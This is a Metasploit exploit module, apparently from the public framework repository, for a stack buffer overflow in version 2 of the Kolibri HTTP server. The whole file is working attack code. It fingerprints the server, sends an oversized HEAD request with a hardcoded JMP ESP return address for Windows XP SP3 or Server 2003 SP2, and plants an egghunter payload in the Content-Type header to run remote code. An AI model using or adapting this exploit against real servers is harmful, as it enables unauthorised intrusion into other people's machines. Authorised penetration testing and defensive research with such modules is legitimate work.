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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Kolibri HTTP Server HEAD Buffer Overflow',
'Description' => %q{
This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.
},
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # msf
'TheLeader', # original exploit
'sinn3r', # msf commit
],
'References' =>
[
[ 'CVE', '2002-2268' ],
[ 'OSVDB', '70808' ],
[ 'BID', '6289' ],
[ 'EDB', '15834' ],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 3000,
'DisableNops' => true,
'BadChars' => "\x00\x0d\x0a\x3d\x20\x3f",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP sp3', { 'Ret' => 0x7E429353 } ] ,
[ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] ,
],
'DisclosureDate' => 'Dec 26 2010',
'DefaultTarget' => 0))
end
def check
info = http_fingerprint
if info and (info =~ /kolibri-2\.0/)
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
#7E429353 FFE4 JMP ESP
# For a reliable and large payload, we use an egg hunter
# and direct RET to execute code
print_status("Sending request...")
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)
sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')
sploit << eh_stub
send_request_raw({
'uri' => "/" + sploit,
'version' => '1.1',
'method' => 'HEAD',
'headers' => {'Content-Type' => eh_egg},
})
handler
end
end